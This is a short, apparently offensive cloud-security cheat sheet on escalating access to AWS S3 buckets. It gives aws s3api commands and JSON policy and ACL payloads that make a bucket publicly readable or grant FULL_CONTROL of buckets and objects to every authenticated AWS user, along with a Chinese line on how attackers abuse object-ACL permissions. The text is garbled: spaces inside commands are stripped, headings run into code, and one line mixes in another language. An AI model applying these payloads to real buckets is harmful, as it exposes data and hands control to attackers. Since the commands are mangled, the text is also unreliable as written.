# Update Bucket policyawss3apiput-bucket-policy--policyfile:///root/policy.json--bucket<bucket-name>## JSON giving permissions to a user and mantaining some previous root access{"Id":"Policy1568185116930","Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:root"},"Action":"s3:ListBucket","Resource":"arn:aws:s3:::somebucketname"},{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123123123123:user/username"},"Action":"s3:*","Resource":"arn:aws:s3:::somebucketname/*"}]}## JSON Public policy example### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{"Id":"Policy1568185116930","Version":"2012-10-17","Statement": [{"Sid":"Stmt1568184932403","Action": ["s3:ListBucket"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome","Principal":"*"},{"Sid":"Stmt1568185007451","Action": ["s3:GetObject"],"Effect":"Allow","Resource":"arn:aws:s3:::welcome/*","Principal":"*"}]}
# Update bucket ACLawss3apiget-bucket-acl--bucket<bucket-name>awss3apiput-bucket-acl--bucket<bucket-name>--access-control-policyfile://acl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
攻击者可以滥用这些权限来授予自己对存储桶内特定对象的更多访问权限。
# Update bucket object ACLawss3apiget-object-acl--bucket<bucekt-name>--keyflagawss3apiput-object-acl--bucket<bucket-name>--keyflag--access-control-policyfile://objacl.json##JSON ACL example## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.{"Owner":{"DisplayName":"<DisplayName>","ID":"<ID>"},"Grants": [{"Grantee":{"Type":"Group","URI":"http://acs.amazonaws.com/groups/global/AuthenticatedUsers"},"Permission":"FULL_CONTROL"}]}## An ACL should give you the permission WRITE_ACP to be able to put a new ACL